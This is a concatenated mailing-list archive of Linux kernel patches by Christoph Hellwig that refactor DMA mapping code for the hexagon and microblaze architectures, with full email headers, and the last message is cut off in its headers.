Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eUpsG-0006tB-4L
	for glki-iommu@m.gmane.org; Fri, 29 Dec 2017 09:18:40 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id D63298E3;
	Fri, 29 Dec 2017 08:20:36 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id CDF0C72A
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:20:34 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 7AA47456
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:20:34 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=ByUob5brYbOfJ2wJN60QiR5IInDo3xQPQKqbK+b9QmE=;
	b=bqI4GzSew+qOiyOkTXXQujd8H
	RoqEm4mkW66vYOsPdeD/cSdrYQ/LAzbAFnxRtgeI2+B9h7p5Xh4gM1FJ0zzC8y7cQ6+fyQNMninWI
	n89ByPNNKSunfQWQTvVnd7bZsxPqRycxImgylwEraahTUSWflh9wpYkvUXNhTwObuPjweTysX6uDb
	5imWQhR9uvFyTgksy5HjzpEY43hJjDyXmixnaZfo73nAKGNhddzURzF1a++2kk//8/4GcU8J+sPiD
	YZ2JReFvmJgbXVGxcIvIEyP4l/EEqS75+aa0788XN3dRaar+HkWCIbDTSf5dG1b81I3N8o4xH4E5m
	ogU4oLDOw==;
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eUptv-0000ns-Nb; Fri, 29 Dec 2017 08:20:24 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21893 gmane.linux.ports.mips.general:62936 gmane.linux.ports.ia64:28403 gmane.linux.ports.sh.devel:56049 gmane.linux.ports.sparc:27056 gmane.linux.kernel.cross-arch:40796 gmane.linux.ports.hexagon:1413 gmane.linux.kernel.arc:3181 gmane.linux.kernel.metag:1487 gmane.linux.ports.arm.kernel:622906 gmane.linux.ports.parisc:28078 gmane.linux.kernel:2654223 gmane.linux.ports.alpha:4560 gmane.linux.ports.ppc64.devel:151510
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21893>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/hexagon/include/asm/dma-mapping.h | 7 -------
 arch/hexagon/kernel/dma.c              | 1 +
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/hexagon/include/asm/dma-mapping.h b/arch/hexagon/include/asm/dma-mapping.h
index 5208de242e79..263f6acbfb0f 100644
--- a/arch/hexagon/include/asm/dma-mapping.h
+++ b/arch/hexagon/include/asm/dma-mapping.h
@@ -37,11 +37,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return dma_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return 0;
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 #endif
diff --git a/arch/hexagon/kernel/dma.c b/arch/hexagon/kernel/dma.c
index 3683bb9c05a2..c1d24e37807c 100644
--- a/arch/hexagon/kernel/dma.c
+++ b/arch/hexagon/kernel/dma.c
@@ -19,6 +19,7 @@
  */
 
 #include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/bootmem.h>
 #include <linux/genalloc.h>
 #include <asm/dma-mapping.h>
-- 
2.14.2


From - Thu Nov 08 21:40:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 17/67] microblaze: rename dma_direct to dma_microblaze
Date: Fri, 29 Dec 2017 09:18:21 +0100
Lines: 165
Approved: news@gmane.org
Message-ID: <20171229081911.2802-18-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535540 30764 195.159.176.226 (29 Dec 2017 08:19:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:19:00 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Dec 29 09:18:55 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eUpsQ-0006kq-Hf
	for glpm-linux-m68k@m.gmane.org; Fri, 29 Dec 2017 09:18:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932344AbdL2IUt (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Fri, 29 Dec 2017 03:20:49 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:58840 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755945AbdL2IUl (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Fri, 29 Dec 2017 03:20:41 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=D5ENoKD4ESFqKEY5AeHSgC+CibA67cw4aIyBJaF+tuk=; b=PGmF2c8b9+86Jxim28yuPey0x
        u62npGsYHTWcws/zd34Yo3/EgyU5+sye/eZEfYWiX9gcyd0V7ag5Y2VQLpWl9E8LSAayyvo9Ywbze
        rZuClgJB+HUB9p7na3Mfys9ctthvvDtZULttEwKpbhUv2DuwTcE/ZEicy16w1irta1ZwA53KPmagI
        VK93NcE4x72/aP6jHKWOSFd3l8JRJ1Se1D2Z1EZu4917Svpe3Ug5hMI+0PiFzogPCM22k280yAjsR
        mgsl/hxyHuqg29mZlYg8LCY3CpOxHXVI1yKOS8iwHZNnP6BeH8pWGwkmlWb/St5tnWvlX+mLkgKNu
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpu4-0000yZ-Nv; Fri, 29 Dec 2017 08:20:33 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9753 gmane.linux.kernel.iommu:21894 gmane.linux.ports.alpha:4561 gmane.linux.kernel.arc:3182 gmane.linux.ports.arm.kernel:622907 gmane.linux.ports.hexagon:1414 gmane.linux.ports.ia64:28404 gmane.linux.kernel.metag:1488 gmane.linux.ports.mips.general:62937 gmane.linux.ports.parisc:28079 gmane.linux.ports.ppc64.devel:151511 gmane.linux.ports.sh.devel:56050 gmane.linux.ports.sparc:27057 gmane.linux.kernel.cross-arch:40797 gmane.linux.kernel:2654224
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9753>

This frees the dma_direct_* namespace for a generic implementation.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/microblaze/include/asm/dma-mapping.h |  4 +--
 arch/microblaze/kernel/dma.c              | 50 +++++++++++++++----------------
 2 files changed, 27 insertions(+), 27 deletions(-)

diff --git a/arch/microblaze/include/asm/dma-mapping.h b/arch/microblaze/include/asm/dma-mapping.h
index 6b9ea39405b8..add50c1373bf 100644
--- a/arch/microblaze/include/asm/dma-mapping.h
+++ b/arch/microblaze/include/asm/dma-mapping.h
@@ -18,11 +18,11 @@
 /*
  * Available generic sets of operations
  */
-extern const struct dma_map_ops dma_direct_ops;
+extern const struct dma_map_ops dma_nommu_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	return &dma_direct_ops;
+	return &dma_nommu_ops;
 }
 
 #endif	/* _ASM_MICROBLAZE_DMA_MAPPING_H */
diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index 2a9a0ec14c46..364b0ac41452 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -17,7 +17,7 @@
 
 #define NOT_COHERENT_CACHE
 
-static void *dma_direct_alloc_coherent(struct device *dev, size_t size,
+static void *dma_nommu_alloc_coherent(struct device *dev, size_t size,
 				       dma_addr_t *dma_handle, gfp_t flag,
 				       unsigned long attrs)
 {
@@ -42,7 +42,7 @@ static void *dma_direct_alloc_coherent(struct device *dev, size_t size,
 #endif
 }
 
-static void dma_direct_free_coherent(struct device *dev, size_t size,
+static void dma_nommu_free_coherent(struct device *dev, size_t size,
 				     void *vaddr, dma_addr_t dma_handle,
 				     unsigned long attrs)
 {
@@ -69,7 +69,7 @@ static inline void __dma_sync(unsigned long paddr,
 	}
 }
 
-static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
+static int dma_nommu_map_sg(struct device *dev, struct scatterlist *sgl,
 			     int nents, enum dma_data_direction direction,
 			     unsigned long attrs)
 {
@@ -89,12 +89,12 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 	return nents;
 }
 
-static int dma_direct_dma_supported(struct device *dev, u64 mask)
+static int dma_nommu_dma_supported(struct device *dev, u64 mask)
 {
 	return 1;
 }
 
-static inline dma_addr_t dma_direct_map_page(struct device *dev,
+static inline dma_addr_t dma_nommu_map_page(struct device *dev,
 					     struct page *page,
 					     unsigned long offset,
 					     size_t size,
@@ -106,7 +106,7 @@ static inline dma_addr_t dma_direct_map_page(struct device *dev,
 	return page_to_phys(page) + offset;
 }
 
-static inline void dma_direct_unmap_page(struct device *dev,
+static inline void dma_nommu_unmap_page(struct device *dev,
 					 dma_addr_t dma_address,
 					 size_t size,
 					 enum dma_data_direction direction,
@@ -122,7 +122,7 @@ static inline void dma_direct_unmap_page(struct device *dev,
 }
 
 static inline void
-dma_direct_sync_single_for_cpu(struct device *dev,
+dma_nommu_sync_single_for_cpu(struct device *dev,
 			       dma_addr_t dma_handle, size_t size,
 			       enum dma_data_direction direction)
 {
@@ -136,7 +136,7 @@ dma_direct_sync_single_for_cpu(struct device *dev,
 }
 
 static inline void
-dma_direct_sync_single_for_device(struct device *dev,
+dma_nommu_sync_single_for_device(struct device *dev,
 				  dma_addr_t dma_handle, size_t size,
 				  enum dma_data_direction direction)
 {
@@ -150,7 +150,7 @@ dma_direct_sync_single_for_device(struct device *dev,
 }
 
 static inline void
-dma_direct_sync_sg_for_cpu(struct device *dev,
+dma_nommu_sync_sg_for_cpu(struct device *dev,
 			   struct scatterlist *sgl, int nents,
 			   enum dma_data_direction direction)
 {
@@ -164,7 +164,7 @@ dma_direct_sync_sg_for_cpu(struct device *dev,
 }
 
 static inline void
-dma_direct_sync_sg_for_device(struct device *dev,
+dma_nommu_sync_sg_for_device(struct device *dev,
 			      struct scatterlist *sgl, int nents,
 			      enum dma_data_direction direction)
 {
@@ -178,7 +178,7 @@ dma_direct_sync_sg_for_device(struct device *dev,
 }
 
 static
-int dma_direct_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
+int dma_nommu_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 			     void *cpu_addr, dma_addr_t handle, size_t size,
 			     unsigned long attrs)
 {
@@ -204,21 +204,21 @@ int dma_direct_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 #endif
 }
 
-const struct dma_map_ops dma_direct_ops = {
-	.alloc		= dma_direct_alloc_coherent,
-	.free		= dma_direct_free_coherent,
-	.mmap		= dma_direct_mmap_coherent,
-	.map_sg		= dma_direct_map_sg,
-	.dma_supported	= dma_direct_dma_supported,
-	.map_page	= dma_direct_map_page,
-	.unmap_page	= dma_direct_unmap_page,
-	.sync_single_for_cpu		= dma_direct_sync_single_for_cpu,
-	.sync_single_for_device		= dma_direct_sync_single_for_device,
-	.sync_sg_for_cpu		= dma_direct_sync_sg_for_cpu,
-	.sync_sg_for_device		= dma_direct_sync_sg_for_device,
-	.is_phys	= true,
+const struct dma_map_ops dma_nommu_ops = {
+	.alloc			= dma_nommu_alloc_coherent,
+	.free			= dma_nommu_free_coherent,
+	.mmap			= dma_nommu_mmap_coherent,
+	.map_sg			= dma_nommu_map_sg,
+	.dma_supported		= dma_nommu_dma_supported,
+	.map_page		= dma_nommu_map_page,
+	.unmap_page		= dma_nommu_unmap_page,
+	.sync_single_for_cpu	= dma_nommu_sync_single_for_cpu,
+	.sync_single_for_device	= dma_nommu_sync_single_for_device,
+	.sync_sg_for_cpu	= dma_nommu_sync_sg_for_cpu,
+	.sync_sg_for_device	= dma_nommu_sync_sg_for_device,
+	.is_phys		= true,
 };
-EXPORT_SYMBOL(dma_direct_ops);
+EXPORT_SYMBOL(dma_nommu_ops);
 
 /* Number of entries preallocated for DMA-API debugging */
 #define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-- 
2.14.2


From - Thu Nov 08 21:40:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 19/67] microblaze: remove the dead !NOT_COHERENT_CACHE dma code
Date: Fri, 29 Dec 2017 09:18:23 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <20171229081911.2802-20-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535543 31140 195.159.176.226 (29 Dec 2017 08:19:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:19:03 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-hexagon-owner@vger.kernel.org Fri Dec 29 09:18:57 2017
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1eUpsR-0006kq-JM
	for glphk-linux-hexagon@m.gmane.org; Fri, 29 Dec 2017 09:18:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932370AbdL2IUw (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
        Fri, 29 Dec 2017 03:20:52 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:43232 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932348AbdL2IUu (ORCPT
        <rfc822;linux-hexagon@vger.kernel.org>);
        Fri, 29 Dec 2017 03:20:50 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=CIg3Tb/MIA3sbpgB82OZCeysJYra+xA3YC9awVKB9rs=; b=oTaqC+aSOJJ4QgeFbwZIWlG97
        yVtYiAIGzY93Vqsf9dxPPsuDNssS6JoF4RIt4kF5uYud+Pd1Qg6cDg7oZitfF3QuO1JRDLJ6MmKOp
        PL9uqK3HnANoMVaZrnsXPYBMaIT3jcO9L2eXnlNYfur8e8D0s5eQYGK0PVj1UsaJBGrVoxQoSINs5
        UaJ2VWz63xQW+Jg+hNQm7GySBcQHexsdRKL4VN7fbXS0w0FAL0iqhZhA2GFQQAiaXxJVI3o37dwlk
        HPEvF0ySq/jj6D35lEALpa1YLQi+b3NPV4rRmCdFDaFLsHUR3iSWVQOOcX/2+9u2dJzDkuYgu0tPC
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpuD-00019U-J5; Fri, 29 Dec 2017 08:20:42 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:1415 gmane.linux.kernel.iommu:21895 gmane.linux.ports.alpha:4562 gmane.linux.kernel.arc:3183 gmane.linux.ports.arm.kernel:622908 gmane.linux.ports.ia64:28405 gmane.linux.kernel.metag:1489 gmane.linux.ports.mips.general:62938 gmane.linux.ports.parisc:28080 gmane.linux.ports.ppc64.devel:151512 gmane.linux.ports.sh.devel:56051 gmane.linux.ports.sparc:27058 gmane.linux.kernel.cross-arch:40798 gmane.linux.kernel:2654225
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/1415>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/microblaze/kernel/dma.c | 28 ----------------------------
 1 file changed, 28 deletions(-)

diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index 49b09648679b..031d889670f5 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -15,42 +15,18 @@
 #include <linux/bug.h>
 #include <asm/cacheflush.h>
 
-#define NOT_COHERENT_CACHE
-
 static void *dma_nommu_alloc_coherent(struct device *dev, size_t size,
 				       dma_addr_t *dma_handle, gfp_t flag,
 				       unsigned long attrs)
 {
-#ifdef NOT_COHERENT_CACHE
 	return consistent_alloc(flag, size, dma_handle);
-#else
-	void *ret;
-	struct page *page;
-	int node = dev_to_node(dev);
-
-	/* ignore region specifiers */
-	flag  &= ~(__GFP_HIGHMEM);
-
-	page = alloc_pages_node(node, flag, get_order(size));
-	if (page == NULL)
-		return NULL;
-	ret = page_address(page);
-	memset(ret, 0, size);
-	*dma_handle = virt_to_phys(ret);
-
-	return ret;
-#endif
 }
 
 static void dma_nommu_free_coherent(struct device *dev, size_t size,
 				     void *vaddr, dma_addr_t dma_handle,
 				     unsigned long attrs)
 {
-#ifdef NOT_COHERENT_CACHE
 	consistent_free(size, vaddr);
-#else
-	free_pages((unsigned long)vaddr, get_order(size));
-#endif
 }
 
 static inline void __dma_sync(unsigned long paddr,
@@ -186,12 +162,8 @@ int dma_nommu_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 	if (off >= count || user_count > (count - off))
 		return -ENXIO;
 
-#ifdef NOT_COHERENT_CACHE
 	vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
 	pfn = consistent_virt_to_pfn(cpu_addr);
-#else
-	pfn = virt_to_pfn(cpu_addr);
-#endif
 	return remap_pfn_range(vma, vma->vm_start, pfn + off,
 			       vma->vm_end - vma->vm_start, vma->vm_page_prot);
 #else
-- 
2.14.2


From - Thu Nov 08 21:40:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 18/67] microblaze: remove dma_nommu_dma_supported
Date: Fri, 29 Dec 2017 09:18:22 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <20171229081911.2802-19-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514535547 31900 195.159.176.226 (29 Dec 2017 08:19:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:19:07 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Dec 29 09:19:01 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eUpsU-0007gt-NN
	for glki-iommu@m.gmane.org; Fri, 29 Dec 2017 09:18:55 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 76B37B78;
	Fri, 29 Dec 2017 08:20:46 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
